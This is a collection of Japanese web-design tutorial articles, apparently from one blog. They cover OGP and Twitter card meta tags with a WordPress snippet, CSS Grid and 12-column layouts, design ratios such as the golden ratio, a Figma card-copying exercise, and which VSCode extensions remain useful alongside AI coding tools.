これらをHTMLの<head>内にメタタグとして記述することで、SNSが正しく読み取ってくれます。各タグの詳しい役割や推奨値はOGPプレビューツールの使い方でも解説しています。 Twitterカードとは？｜X専用の設定も必要 X（旧Twitter）はOGPに対応しつつ、独自にTwitterカードという形式も用意しています。 X上ではtwitter:〇〇タグが設定されていればそちらを優先し、なければog:〇〇をフォールバックとして使用します。ただし、twitter:cardタグだけはOGPでは代替できないため、必ず記述してください。 基本のOGP＋Twitterカード設定｜コピペOKのテンプレート 以下のコードをHTMLの<head>内にコピペし、各値を自分のサイトの情報に書き換えてください。 <!-- OGP設定 --> <meta property="og:type" content="website" /> <meta property="og:title" content="記事のタイトル" /> <meta property="og:description" content="記事の説明文（120文字程度）" /> <meta property="og:url" content="https://example.com/記事のURL" /> <meta property="og:image" content="https://example.com/images/ogp-image.jpg" /> <meta property="og:site_name" content="サイト名" /> <!-- Twitterカード --> <meta name="twitter:card" content="summary_large_image" /> <meta name="twitter:site" content="@Twitterユーザー名（任意）" /> <meta name="twitter:title" content="記事タイトル"> <meta name="twitter:description" content="記事の説明文"> <meta name="twitter:image" content="https://example.com/images/twitter-image.jpg"> 注意点 og:image にはhttpsから始まる絶対URLを指定すること（相対パスはNG） OGPタグはproperty属性、Twitter Cardタグはname属性を使用する 画像の推奨サイズは1200×630px（アスペクト比1.91:1）、形式はJPEGまたはPNG Twitter Card（Xカード）の種類と設定方法 Twitter Cardには以下の4種類があります。用途に合わせてtwitter:cardのcontent値を選択してください。 カードタイプcontent値特徴主な用途Summarysummary小さなサムネイル＋タイトル＋説明文ニュース記事・一般的なページSummary Large Imagesummary_large_image大きなサムネイル画像を上部に表示ブログ記事・ポートフォリオPlayerplayer動画や音声を埋め込みで再生動画サイト・ポッドキャストAppappアプリのダウンロードリンクを表示iOS/Androidアプリの紹介 summary_large_imageの設定例 ブログやWebサイトで最もよく使われるのがsummary_large_imageです。大きな画像が目を引くため、クリック率の向上が期待できます。 <meta name="twitter:card" content="summary_large_image" /> <meta name="twitter:site" content="@アカウント名" /> <meta name="twitter:title" content="ページのタイトル" /> <meta name="twitter:description" content="ページの説明文" /> <meta name="twitter:image" content="https://example.com/images/card-image.jpg" /> twitter:imageの画像サイズは、summary_large_imageの場合300×157px以上、最大4096×4096pxまで対応しています。推奨は1200×628pxです。 X（Twitter）ウェブサイトカードの作り方 X（旧Twitter）の広告機能で利用できる「ウェブサイトカード」は、通常のTwitter Cardとは異なります。X広告マネージャーから作成し、外部サイトへの誘導に特化したカード形式です。作成手順は以下のとおりです。 X広告マネージャーにログインする 「クリエイティブ」→「カード」を選択する 「ウェブサイトカード」を選び、画像・見出し・遷移先URLを設定する カードを保存してツイート（ポスト）に紐づける なお、広告用ウェブサイトカードにはX広告アカウント（無料作成可）が必要です。通常のブログ記事であれば、前述のメタタグによるTwitter Card設定で十分です。 WordPressでの実装方法 WordPressを使っている場合、以下の方法でOGP/Twitterカードを導入できます。add_actionやget_the_titleなどのWordPress関数を使用します。 方法①：functions.phpに直接書く function add_ogp_meta_tags() { if (is_single() || is_page()) { global $post; setup_postdata($post); $title = get_the_title(); $desc = get_the_excerpt(); $url = get_permalink(); $img = get_the_post_thumbnail_url($post, 'full') ?: 'https://example.com/default.jpg'; echo '<meta property="og:title" content="'.esc_attr($title).'">'." "; echo '<meta property="og:description" content="'.esc_attr($desc).'">'." "; echo '<meta property="og:url" content="'.$url.'">'." "; echo '<meta property="og:image" content="'.$img.'">'." "; echo '<meta property="og:type" content="article">'." "; echo '<meta property="og:site_name" content="'.get_bloginfo('name').'">'." "; echo '<meta name="twitter:card" content="summary_large_image">'." "; } } add_action('wp_head', 'add_ogp_meta_tags'); 方法②：プラグインを使う（簡単） 以下のようなSEO系プラグインを使えば自動でOGPも対応してくれます。 All in One SEO Yoast SEO SEO SIMPLE PACK（日本語＆軽量） OGPの設定確認とテスト方法 OGPを設定したら、実際にSNSでどう表示されるかを必ず確認しましょう。確認手段は主に3つあります。 各SNSの公式デバッグツール Facebook：シェアデバッガー — URLを入力し「もう一度スクレイピング」でキャッシュ更新 X（Twitter）：Card Validator — カードのプレビューとキャッシュクリア LINE：Page Poker — LINEでのプレビュー確認とキャッシュクリア OGPプレビューツールで一括確認 各SNSのデバッグツールを個別に開くのは手間がかかります。OGPプレビューツールを使えば、X・Facebook・LINEなどの7つのSNSプレビューをワンストップで確認できます。画像サイズや必須タグの設定漏れもチェック機能で検出できるため、公開前の最終確認に便利です。 OGPプレビューツールで確認する おわりに｜OGPは「信頼感」を生む名刺のようなもの OGPやTwitterカードは、SEOのように直接検索順位に関わる要素ではありません。しかし、SNSでシェアされたときに「このサイトはちゃんとしてるな」と思ってもらえる信頼感の第一印象を作る、とても大切な要素です。 コードで自分で書いてもよし、プラグインで補助してもよし。自分のサイトが誰かに紹介されたとき、どんなふうに見えるのか？を意識して、ぜひ整えてみてください。 OGPの設定が正しく反映されているか不安なときは、Direbase（ディレベース）で一括チェックできます。OGP・メタタグ・構造化データなど45項目を無料で診断。 OGP設定をチェックする → Direbase よくある質問（FAQ） Q. OGPを設定しないとどうなりますか？ SNSでリンクをシェアした際に、タイトルや画像が正しく表示されません。SNSのクローラーが自動的にページ内容を推測して表示するため、意図しない画像やテキストが表示されることがあります。 Q. OGPタグとTwitter Cardタグの両方が必要ですか？ X（Twitter）はtwitter:titleやtwitter:descriptionが未設定の場合、og:titleやog:descriptionをフォールバックとして使用します。ただし、twitter:cardタグだけはOGPでは代替できないため、最低限<meta name="twitter:card" content="summary_large_image" />は必ず記述してください。 Q. OGPの設定を変更したのに反映されません SNS側にキャッシュが残っている可能性があります。 ### [グリッドレイアウト完全ガイド｜設計の基礎からCSS Grid実装](https://codequest.work/grid-layout-webdesign/) Webデザインの設計を学ぶ中で、よく見かける失敗の一つに「グリッドレイアウトが崩れている」ことがあります。見た目はきれいにみえても、設計の本質において、グリッドの有無は越えては通れないキーポイントです。 この記事では、Webデザインにおけるグリッドレイアウトの意義と必要性を解説し、さらにCSS Gridによる実装方法まで一貫して学べる内容にまとめています。 グリッドレイアウトは「視覚の骨組」 グリッドレイアウトとは、要素を縦や横の配列で論理的に配置するためのガイドラインです。 たとえば、12カラムのグリッドを使えば、サイト全体を幅割し、情報の優先順位や可視性を計算しながら配置を考えることができます。 これはただの描かれたラインではなく、「情報を持ったユーザーの視線を制御する」という強力な効果を持ちます。 なぜ「超重要」なのか 信頼感の基盤になるパッと見たときの「統一感」「見やすさ」は、元をたどればグリッドの充実度に行き着きます。 要素の優先順位を整理できる要素をどう見せるか、どこに配置するかを、縦横のラインで構築できるので、情報デザインに強く準拠します。 実装を効率化しやすくするFigmaやXDでグリッドに基づいて設計されたレイアウトは、HTML/CSSでの実装も近しく、開発者との協業もスムーズになります。 ブレイクポイントにも対応しやすい異なる画面サイズでも、グリッドの基盤があると、レスポンシブなUIの構成が楽になります。 現場でも「最初に見られるポイント」 デザイナーやフロントエンドエンジニア同士でも、レビューや実装チェックの際にまず確認されるのは以下のような点です。 「グリッド引いてる？」 「このカードの左右揃ってる？」 「余白24px単位で割れてる？」 これらはデザイン全体の"プロらしさ"を判断する最低限の基準であり、グリッドの精度は視覚的な信頼に直結します。 グリッドが崩れるパターン 「不自然に見えるワイヤーフレーム」の原因は、グリッドの崩れにあります。 カードUIが分裂している 要素が不定な間隔で配列されている 要素が縦線/横線で一貫になっていない グリッドを味方にするには 最初は、自分でグリッドを引いてみることから始めましょう。 Figmaのレイアウトグリッド機能 8px / 10px / 12カラムベースの枠組み レスポンシブ対応を見込んだ幅割り などを試すだけでも、要素を一本のロジックで配置することがものすごく楽になります。 そして「グリッドを壊したでしょう？」と言われたときに、「〇〇の理由からグリッドを崩しました」と説明できるようになることが目標です。デザインは言語化して説明できることが基本です。 CSS Gridで実装する — 基本構造 設計で学んだグリッドレイアウトを、CSS Gridを使ってコードで実現する方法を解説します。CSS Gridは行(row)と列(column)の2軸で要素を整列させるための強力なレイアウトシステムです。 FlexboxとCSS Gridの使い分け Grid：2次元レイアウト（行と列）に適している — ページ全体の骨格やカード一覧に最適 Flexbox：1次元レイアウト（行か列のどちらか）に適している — ボタン群やナビに最適 基本的なグリッドの書き方 親要素に display: grid; を指定し、子要素の配置を定義します。 .container { display: grid; grid-template-columns: 1fr 1fr; /* 2列 */ gap: 20px; /* 要素間の余白 */ } <div class="container"> <div>Item 1</div> <div>Item 2</div> </div> CSS Gridの主要プロパティ grid-template-rows / grid-template-columns 行と列のサイズを指定します。 fr（フラクション）単位を使用すると、スペースが自動的に分配されます。 .container { grid-template-columns: 1fr 2fr 1fr; /* 3列のレイアウト */ } gap 行や列の間隔を指定します。 .container { gap: 10px 20px; /* 行間10px、列間20px */ } grid-template-areas 視覚的にエリアを指定できるプロパティです。設計段階のワイヤーフレームをそのままコードに落とし込めます。 .container { grid-template-areas: "header header" "sidebar main" "footer footer"; } .header { grid-area: header; } .sidebar { grid-area: sidebar; } .main { grid-area: main; } .footer { grid-area: footer; } 実践的なレイアウト例 2列レイアウト .container { grid-template-columns: 1fr 2fr; } 3列レイアウト .container { grid-template-columns: repeat(3, 1fr); } カード型レイアウト（レスポンシブ対応） minmax() や repeat() を使用することで、ブレークポイントなしでレスポンシブ対応が実現できます。 .container { grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); } 4カラムのグリッドレイアウト .container { display: grid; grid-template-columns: repeat(4, 1fr); gap: 15px; } <div class="container"> <div>Item 1</div> <div>Item 2</div> <div>Item 3</div> <div>Item 4</div> </div> よくあるトラブルと解決法 要素がズレる → grid-template-rows または grid-template-columns の指定が不足している可能性があります。 overflowによる崩れ → minmax() の活用で回避できます。 CSSグリッドを簡単に作成 — CodeQuest Grid Generator CSS Gridのコードを一から書くのが面倒に感じたら、CodeQuest Grid Generatorを活用してください。画面上で直感的にカラム数・ガター幅・要素の配置を操作するだけで、そのままコピー可能なCSS Gridコードが生成されます。 この記事で学んだグリッドレイアウトの知識と組み合わせることで、設計から実装までの時間を大幅に短縮できます。 → CodeQuest Grid Generatorを使ってみる 実務Tips（ベストプラクティス集） 12カラムを基準に設計する 大半のUIは12カラムで柔軟に構成できます。カード数や広告枠の追加にも対応しやすく、将来の改修コストを抑えられます。 ガター（カラム間余白）と外側マージンを固定する ガター幅とコンテナの左右パディングをガイドに記載し、全ページで統一。要素のズレや詰まりを未然に防ぎます。 ブレークポイントは"内容起点"で決める 一般的なデバイス幅に合わせるのではなく、コンテンツが崩れ始める幅でブレークポイントを設定するのが実務的です。 モバイル先行で積み上げる 最小幅で情報優先順位を明確化し、カラムを増やしながらデスクトップに拡張。余白と行間を段階的にスケールします。 カードは"高さ揃え"を前提に設計する 可変テキストで高さがズレる場合は、ラインクランプや最小高さで差異を吸収。リストや商品カードの"段差"を避けます。 画像比率はアスペクト比で固定する aspect-ratio やラッパーのパディングハックで比率を統一。異なる画像でも整列が崩れません。 ユーティリティはレイアウト補助に限定 "意味のあるコンポーネント"はクラスで、微調整や表示制御はユーティリティで。責務を分けると保守性が向上します。 12カラムグリッドレイアウトとは？Webデザインの基本構造 12カラムグリッドレイアウトとは、ページの横幅を均等な12本の縦カラムに分割し、各要素の配置幅をカラム数で指定する設計手法です。Webデザインにおけるレイアウトの国際標準として、Bootstrap・Material Design・Figmaなど主要なデザインフレームワークが12カラムを基本単位に採用しています。 12が選ばれる最大の理由は「約数の多さ」にあります。12は1・2・3・4・6・12で割り切れるため、2カラム（6+6）・3カラム（4+4+4）・4カラム（3+3+3+3）・サイドバー付き（4+8）など、あらゆる分割パターンに対応できます。 12カラムグリッドの構成要素 要素役割推奨値の例カラム数横幅の分割単位12本ガター（Gutter）カラム間の余白16px〜24pxマージン（Margin）グリッド外側の左右余白16px〜32pxコンテナ幅グリッド全体の最大幅1200px〜1440px この構造を守ることで、デザイナーとエンジニアの間で「3カラム分の幅」「8カラム分の幅」といった共通言語が生まれ、設計から実装への受け渡しがスムーズになります。 CSS Gridを使ったグリッドレイアウトの実装方法 CSS Gridは、Webブラウザに標準搭載された2次元レイアウトシステムです。JavaScript不要・外部ライブラリ不要で、12カラムグリッドをはじめとするあらゆるグリッドレイアウトをネイティブに実装できます。 CSS Gridで12カラムグリッドを実装する 以下のコードで、デザインツールと同等の12カラムグリッドをCSSだけで構築できます。 .grid-12 { display: grid; grid-template-columns: repeat(12, 1fr); gap: 24px; max-width: 1200px; margin: 0 auto; padding: 0 24px; } /* サイドバー(4カラム) + メイン(8カラム) */ .sidebar { grid-column: span 4; } .main { grid-column: span 8; } /* 3等分カード */ .card-3col { grid-column: span 4; } /* モバイル: 全幅に切り替え */ @media (max-width: 768px) { .grid-12 { grid-template-columns: 1fr; } .sidebar, .main, .card-3col { grid-column: span 1; } } CSS Grid vs 他のレイアウト手法 — 比較表 グリッドレイアウトの実装手段は複数あります。用途に応じた使い分けを以下の表にまとめます。 ### [黄金比・白銀比・白金比の使い方｜バナーやロゴに応用できるデザイン理論｜初心者向け解説](https://codequest.work/web-design-ratio-theory/) Webデザインで使われる代表的な比率は3つです。黄金比（約1:1.618）・白銀比（約1:1.414）・白金比（約1:1.732）で、いずれも「長辺 ÷ 短辺」の答えがその数値になる長方形を指します。逆に言えば、手元のバナーやロゴの長辺を短辺で割るだけで、そのデザインがどの比率に乗っているかを判定できます。 この記事が扱うのは「比率そのもの」です。三分割法・対角線・日の丸といった配置のパターンは バナーデザインの構図パターン が、PhotoshopやIllustratorで実際にガイドを引く操作手順は Photoshop・Illustratorで構図を再現する方法 が担当します。本記事は「どの数値で、何を、どう割るか」に絞って解説します。 先に結論として、3つの比率の違いを一覧にまとめます。 比率長辺÷短辺数学的な由来与える印象向く用途身近な実例黄金比1.6180339887…（1+√5）÷2正方形を切り取ると同じ比率の長方形が残る動きがあり、視線が渦の中心へ寄る2カラムの幅配分、カードUI、ヒーロー画像正五角形の対角線÷1辺白銀比（大和比）1.4142135624…√2半分に折っても元と相似（自己相似）正方形に近く、動きが小さくて安定縦型バナー、A4想定の紙面、ロゴの外枠A4用紙（297×210mm）白金比1.7320508076…√3正三角形の高さ÷（底辺の半分）3つで最も横長。水平に視線が流れる横長ヒーロー、PC用横長バナー30度・60度・90度の直角三角形 大切なのは、これらの数値に厳密に合わせること自体が目的ではないという点です。比率は良し悪しを決める正解ではなく、迷ったときに立ち返れる基準であり、あとから電卓1回で検算できる根拠です。記事の後半で、その検算手順と合否ラインをまとめます。 黄金比（約1:1.618）｜視線を渦の中心に集める比率 黄金比（1:1.618）：黄金螺旋。渦の中心に視線が集まる 黄金比とは、長辺 ÷ 短辺 = 1.6180339887… になる比率です。数式では（1 + √5）÷ 2 で求まります。特徴は「全体 : 長いほう = 長いほう : 短いほう」が成り立つこと。つまり黄金比の長方形から短辺を1辺とする正方形を切り取ると、残った長方形もまた黄金比になります。この入れ子構造の角をつないだものが、上図の渦（黄金螺旋）です。 3つの比率のなかでは中間の細長さです。正方形に寄りすぎず横長にも振り切らないため、縦・横どちらの構図にも使い回しやすいのが利点になります。 黄金比の由来｜どこまでが事実か 黄金比を「神聖な比」として体系的に紹介した書物が、ルカ・パチョーリの『De divina proportione（神聖比例）』です。1498年に執筆され、1509年にヴェネツィアで印刷されました。この本の挿絵およそ60点（多面体の立体図）を担当したのが、当時パチョーリから数学を学んでいたレオナルド・ダ・ヴィンチです（Thinking 3D: Luca & Leonardo／1509年版の複製（Internet Archive））。 一方で、よく語られる「レオナルドが自作の絵画に黄金比を用いた」「パルテノン神殿や法隆寺は黄金比で設計されている」といった話については、そう記した一次資料は確認されていません。数学書の挿絵を描いた事実と、自作に適用した事実は別のものです。デザインの根拠として黄金比を持ち出すときは、歴史的な権威づけではなく「分割が再現できて、あとから検算もできる」という実務上の利点で説明したほうが誠実です。 黄金比の使いどころ カードUIやサムネイルの縦横比 メインカラムとサイドカラムの幅配分 ヒーロー画像とテキストブロックの高さ配分 本文幅と左右余白の関係 とくに扱いやすいのが2カラムの幅配分です。1:1.618は、全体を100%としたとき 61.8% : 38.2% に相当します。全幅960pxなら593.3px : 366.7px、丸めて593px : 367px。全幅1200pxなら741.6px : 458.4px、丸めて742px : 458pxです。どちらも丸めたあとの合計が全幅（960px／1200px）にぴったり戻ります。 カラムを何本立てるか、ガター（列間の余白）をいくつにするかといった土台の設計は グリッドレイアウト完全ガイド にまとめています。比率はそのグリッドの上で「どこで割るか」を決めるための道具です。 白銀比（約1:1.414）｜半分に折っても形が変わらない比率 白銀比（1:1.414）：半分に折っても同じ比率になる（A判用紙と同じ仕組み） 白銀比とは、長辺 ÷ 短辺 = √2 = 1.4142135624… になる比率です。最大の特徴は、長辺を半分に折った長方形が元と相似（同じ縦横比）になること。何度半分にしても形が変わらないため「自己相似」の長方形とも言えます。この性質があるからこそ、紙のサイズ規格に採用されています。 「白銀比」には定義が2つある｜英語資料で混乱しやすい点 ここは日本語と英語の資料で食い違うところなので、先に押さえておきます。「白銀比」と呼ばれる数値には次の2つがあり、どちらも間違いではありません。 呼び名数値定義主に使われる文脈白銀比（大和比）1 : 1.4142…（√2）半分に折ると元と相似になる長方形日本の紙規格・木造建築・キャラクター造形。日本語のデザイン記事で「白銀比」といえば通常こちら第2貴金属比（英: silver ratio）1 : 2.4142…（1+√2）貴金属比の並びで黄金比の次に来る数英語圏の数学資料。1.414とはまったく別の数値 英語で silver ratio を調べると 2.414 が出てくるため、「1.414と書いてある日本語記事は間違いなのでは」と迷いがちですが、そうではありません。日本のデザイン文脈でいう白銀比＝大和比＝1:√2（約1.414）です。本記事も以降は1:1.414の意味で使います。海外の資料を参照するときは、名前ではなく数値そのものを見て判断してください。 白銀比の由来｜A判用紙とJIS規格 いちばん身近な実例がA判用紙です。A4は297mm × 210mmで、297 ÷ 210 = 1.414286。√2（1.414214）との誤差はわずか +0.005% しかありません。A列・B列の仕上寸法は JIS P 0138:1998「紙加工仕上寸法」 で規定されており、A列はISO 216と同じ体系です。 A4を半分に折るとA5、さらに半分でA6と、どこまで折っても同じ形が保たれます。印刷物のレイアウトをサイズ違いへ展開しても構図が崩れないのは、この性質のおかげです。同じ理由で、サイズ違いを量産するバナーやアイキャッチとも相性が良い比率です。 白銀比の使いどころ 縦型バナー・チラシなど、A4を想定した紙面 正方形寄りで安定させたいカードUI ロゴのバウンディングボックス（外枠） サイズ違いを量産するバナー・アイキャッチ 「日本人が好む比率」「落ち着いた年齢層に向く」と説明されることが多い比率ですが、そうした好みの差を裏づける調査データは見当たりません。確実に言えるのは次の2点です。ひとつは、日本ではA判・B判の紙を通してこの形を日常的に目にしているため見慣れていること。もうひとつは、3つのなかで最も正方形に近く、視覚的な動きが小さいことです。安定感を出したい場面に向く、という説明までにとどめるのが安全です。 白金比（約1:1.732）｜3つのなかで最も横長な比率 白金比（1:1.732）：正三角形の高さから生まれる比率 白金比とは、長辺 ÷ 短辺 = √3 = 1.7320508076… になる比率です。正三角形の高さを底辺の半分で割った値がちょうど√3になることに由来します。数値を並べると 1.732 > 1.618 > 1.414 で、3つのなかで最も横長です。横に伸びるぶん視線が水平に流れやすく、シャープでモダンな印象になります。 なお、黄金比（1.618）や第2貴金属比（2.414）が属する「貴金属比」の系列（1.618／2.414／3.303…）に√3は含まれません。白金比は正三角形から導かれる、別系統の呼び名です。 白金比の由来｜正三角形から出てくる数値 正三角形の1辺の長さをaとすると、高さは（√3 ÷ 2）× a、底辺の半分は a ÷ 2 です。高さ ÷（底辺の半分）を計算すると a が約分されて √3 が残ります。つまり三角形の大きさに関係なく、必ず1.732になるのが白金比です。正三角形を半分に切った直角三角形（30度・60度・90度）の辺の比 1 : √3 : 2 と同じ関係、と覚えると忘れません。 白金比の使いどころ ファーストビューの横長ヒーロービジュアル PC向けの横長バナー 高級感を出したいロゴの外枠 情報量を絞った1行見出しのブロック ここで注意したいのが 16:9との混同です。16 ÷ 9 = 1.7778 で、白金比の1.7321とは +2.64% ずれています。数値としては近いものの同じではないため、16:9の動画枠やスライドを「白金比で組んだ」と説明するのは正確ではありません。どこまでを同じ比率と見なしてよいかは、次の章の合否ラインで判断できます。 作ったバナー・ロゴが比率に乗っているか、電卓1回で判定する 比率の解説が実務で空回りしやすいのは、「使いましょう」で終わって、できあがったものが本当にその比率になっているかを確かめる手順が書かれていないからです。ここは割り算1回で終わります。 判定の手順 作ったバナー・ロゴ・カードの外形寸法（幅と高さ）をpxで書き出す 長いほうの辺 ÷ 短いほうの辺 を計算する 出た数値を 1.618（黄金比）／1.414（白銀比）／1.732（白金比）と見比べ、いちばん近いものを選ぶ 誤差を「（実測値 − 比率）÷ 比率 × 100」で%に直す 手順4まで出せば、次の表で合否が決まります。 誤差（絶対値）判定扱い方2%以内✅ その比率で組めている「黄金比で設計した」と説明してよい2%超〜5%⚠️ 近いが別物比率の名前は使わない。その比率にしたいなら数値を直す5%超❌ その比率ではない別の意図で決まった寸法。無理に寄せない なぜ合否ラインが「±2%」なのか このラインは「目視で違いが分かるか」で引いています。幅1200pxのバナーを黄金比で組むと、高さは 1200 ÷ 1.618 = 741.6px です。ここから±2%は ±約15px（726.8px〜756.5px）。この幅は、小数の四捨五入、8pxグリッドへのスナップ、枠線や影の分などで日常的に発生する範囲で、2枚並べても目視では区別できません。 一方±5%は ±約37px（704.6px〜778.7px）になり、並べれば明らかに違って見えます。だから2%までを同一視、5%超を別物とし、あいだを「近いが別物」としています。ツールの端数処理で生じる程度のズレを気にして延々と調整しない、という線引きでもあります。 外れていたときの直し方 直し方は1つで足ります。幅を固定したまま、高さを「幅 ÷ 比率」で置き直すことです。幅はカラム幅・広告枠・配信先の仕様といった外側の制約で決まっていることが多く、自由に動かせるのは高さのほうだからです。よく使う幅の早見表を置いておきます。 幅W黄金比の高さW ÷ 1.618白銀比の高さW ÷ 1.414白金比の高さW ÷ 1.7321200px742px849px693px960px593px679px554px728px450px515px420px300px185px212px173px 値は小数第1位を四捨五入しています。たとえば幅728pxのバナーを白銀比にしたいなら高さは515px、白金比なら420pxです。置き直したら手順2に戻ってもう一度割り算し、2%以内に入ったことを確認します。 ### [Figma模写 #6：選べる3パターン！シンプルカードレイアウトで模写力を高めよう](https://codequest.work/figma-mosha-6-simple-cards/) Figma模写シリーズ第6弾は、3つのカード型レイアウトのうち、どれか1つを選んで模写できる初級編です。 「全部模写するのはちょっと大変…」という方も、1枚だけでもOK！HTMLとCSSの基本だけで完成するシンプルな構成なので、模写の基礎力を固めたい方にぴったりの練習課題です。 今回のFigmaデザイン見本 対象となるカードデザインは以下の3種類： 人物・ファッション系の横並びカード 料理・グルメ系の2カラムカード 縦スクロール型のフォトギャラリー風カード それぞれに共通しているのは… 大きな写真を使ったカード構成 最小限のテキスト（タイトル／補足） シンプルな2〜3カラムレイアウト どれを選んでも、HTML/CSSだけで完結する模写教材になっています。 Figma Figma Figma 模写ルールと前提条件 項目内容使用技術HTML / CSS難易度初級デバイス対応PC前提（SP対応は任意）アニメーションなし（追加は自由）選択自由3枚のうち1枚だけでもOK（全部やってもOK） 💡補足：背景色や細かい画像の扱いは、お好きな画像・配色で置き換えてOKです。フォントや色が完全一致でなくても構造が再現できていれば十分！ 模写対象のセクション紹介 🟣 カード1：ファッション系レイアウト 横長の画像＋右にテキスト 背景にカラーがついていて視覚的に分かりやすい構成 🟤 カード2：グルメ／飲食レイアウト 左右に画像が2枚並ぶ 飲み物と食べ物の組み合わせなど、自然な余白が学べる 🔵 カード3：縦長フォトギャラリー(中央sectionのみスクロール) 縦スクロールを意識した連続カード 丸みのある画像（border-radius）を活かす練習に◎ おわりに：まずは1枚から、丁寧に再現してみよう 今回は「1枚だけでもOK！」という初級向けの柔軟な模写課題です。 HTML/CSSの基本構造を素早くつくれる力 画像とテキストのバランス感覚 レイアウト再現のためのCSSプロパティ理解 を意識して取り組んでみてください。 まずは1枚の模写完成を目指すのもOK、慣れてきたら3枚すべてを再現しても楽しいと思います！ よくある質問（FAQ） Q. カードレイアウトの模写で学べるCSSスキルは？ Flexbox/CSS Gridでのカード配置・box-shadowによる影の表現・hover時のtransformアニメーション・border-radiusでの角丸処理・画像のアスペクト比維持（aspect-ratio/object-fit）など、Webサイトで最も頻出するUIコンポーネントの実装スキルが一通り学べます。 Q. カードデザインのバリエーションにはどんなものがありますか？ 基本的なカード（画像+テキスト+ボタン）の他に、水平カード（画像が横配置）・オーバーレイカード（画像の上にテキスト）・プロフィールカード（アバター+情報）・価格表カード・ステップカード（番号+説明）などのバリエーションがあります。3パターン以上の模写を通じて、レイアウトの引き出しを増やすことが実装力向上に繋がります。 ### [AI時代に本当に必要なVSCode拡張機能｜AIが代替する機能と残すべき拡張機能](https://codequest.work/vscode-extension-recommendation/) CursorやClaude CodeなどのAIエージェントの登場で、VSCode拡張機能の役割は大きく変わりつつあります。かつては「おすすめ拡張機能13選」を入れておけば安心でしたが、2026年の今、AIが多くの機能を代替できるようになりました。 拡張機能を減らすほど、AIが出したコードを人が検査する比重が上がります。差分を読まずに受け入れてよいかを判定する手順はAIのコードを受け入れる判定手順にまとめました。 本記事では、AIが代替できる拡張機能とAI時代でも手放せない必須の拡張機能を明確に分類し、主要AIコーディングツール4種の比較も掲載しています。「どの拡張機能を残すべきか」の判断基準が、この記事で見つかるはずです。 結論から言えば、AI時代の拡張機能選びは「引き算」です。従来13個以上入れていた拡張機能のうち、半数近くはAIエージェントで代替できます。残すべきは「AIでは代替できない視覚フィードバック・環境設定系」の拡張機能です。 AIエージェントが変えたコーディングの現場 2024年から2026年にかけて、コーディング環境は劇的に変化しました。GitHub Copilotがコード補完の常識を変え、CursorがVSCodeフォークとしてAIネイティブなエディタを確立し、Claude Codeがターミナルから直接コードを書く新しいワークフローを生み出しました。 この変化で最も大きいのは、「拡張機能を選んでインストールする」という行為そのものが減りつつあることです。従来は「Prettierでコード整形」「ESLintで品質チェック」「Auto Rename Tagでタグ編集」と個別の拡張機能を組み合わせていましたが、AIエージェントはこれらを一括で処理できます。 とはいえ、全ての拡張機能が不要になったわけではありません。AIが得意な領域と、まだ人間のツールが必要な領域は明確に分かれています。次のセクションで、その境界線を具体的に見ていきましょう。 項目従来のワークフローAIエージェント活用コード整形Prettierを設定して自動整形AIが整形済みコードを生成品質チェックESLintでルール違反を検出AIがルール準拠コードを出力コード補完Emmet・スニペットで展開自然言語で指示して生成タグ編集Auto Rename Tagで連動編集AIが構造ごと書き換えパス補完Path Intellisenseで補完AIがプロジェクト構造を把握 AIが代替する拡張機能【もう不要かも】 以下の拡張機能は、AIコーディングツールを使っていれば役割の大部分がカバーされます。すぐに削除する必要はありませんが、「AIを使う前提であれば、優先度が大きく下がる」という位置づけです。 Prettier（コード自動整形） Prettierはコードのインデント・改行・スペースを自動で整えてくれるフォーマッターです。長年「VSCode必須拡張機能」の筆頭でした。 AIが代替する理由：CursorやClaude CodeなどのAIエージェントは、最初から整形されたコードを出力します。一貫したスタイルでコードを生成するため、後からPrettierで整形する工程が不要になるケースが増えています。 残す場面：チームで非AI開発者がいる場合や、既存コードベースのスタイル統一が必要な場合は引き続き有効です。 ESLint（JavaScript品質チェック） JavaScriptやTypeScriptの文法エラー・潜在的なバグを静的解析で検出するツールです。 AIが代替する理由：AIエージェントはESLintのルールを理解した上でコードを生成します。未使用変数やnullチェック漏れといった典型的な問題は、AIが書いた時点で回避されることがほとんどです。 残す場面：CI/CDパイプラインでの自動チェックや、AIが生成したコードの最終検証ネットとしての役割はまだあります。 Path Intellisense（パス補完） ファイルパスの入力時にサジェストを表示してくれる拡張機能です。 AIが代替する理由：Cursorなどのエディタ型AIはプロジェクト全体のファイル構造を把握しており、import文やパス指定を正確に補完します。手動でパスを入力する場面自体が減少しています。 Auto Rename Tag（HTMLタグ連動編集） HTMLの開きタグを変更すると、対応する閉じタグも自動で変更してくれる拡張機能です。 AIが代替する理由：AIに「このdivをsectionに変えて」と指示すれば、タグだけでなくクラス名やセマンティクスも含めて構造ごと最適化してくれます。タグの1対1置換よりはるかに高度な編集が可能です。 WordPress Snippet（WPコード挿入） get_header()やthe_post_thumbnail()などのWordPressテンプレートタグをサジェストで挿入できる拡張機能です。 AIが代替する理由：AIエージェントはWordPressのテンプレート階層やフック機構を理解しており、「投稿一覧をカスタムクエリで表示して」のような指示から、WP_Queryを使った完全なコードを生成します。スニペット以上の文脈理解が強みです。 Emmet（HTML/CSS省略記法） VSCode標準搭載の省略記法展開機能です。div.container>ul>li*5のような記法でHTMLを高速生成できます。Emmetの詳しい使い方はVSCode Emmet活用ガイドで解説しています。 AIが代替する理由：「5つのリストアイテムを持つナビゲーションを作って」と自然言語で指示する方が、Emmetの省略記法を覚えるより速い場合があります。特にAIは指示に応じてクラス名やaria属性まで付与してくれます。 ただし：Emmetは変換速度が瞬時で、ネットワーク遅延もありません。AIのレスポンスを待つよりEmmetが速い場面も多く、習熟者にとっては依然として最速のHTML生成手段です。完全に不要になるわけではなく、AIと使い分けるのがベストです。 AI時代でも必須の拡張機能7選【残すべき】 AIエージェントがどれだけ進化しても、以下の拡張機能は代替が難しい領域をカバーしています。共通点は「リアルタイムの視覚フィードバック」「エディタ環境の設定」など、AIの出力とは別レイヤーで機能するツールです。 1. Live Server｜ローカルプレビューの必需品 静的HTMLをローカルサーバーで配信し、ファイル保存時にブラウザを自動リロードする拡張機能です。 AIで代替できない理由：AIはコードを書けますが、ローカル環境でのプレビュー表示はエディタの仕事です。「書く→見る→直す」のサイクルを高速に回すには、Live Serverが不可欠です。HTML/CSSの練習問題に取り組む際も、リアルタイムで結果を確認できるため学習効率が大きく上がります。 2. Japanese Language Pack｜UI日本語化 VSCodeのメニュー・設定画面・エラーメッセージを日本語化する公式拡張機能です。 AIで代替できない理由：エディタのUIローカライゼーションはAIの管轄外です。日本語環境で快適に作業するための基盤として、AI時代でも変わらず必須です。 3. Color Highlight｜カラーコードの即時プレビュー 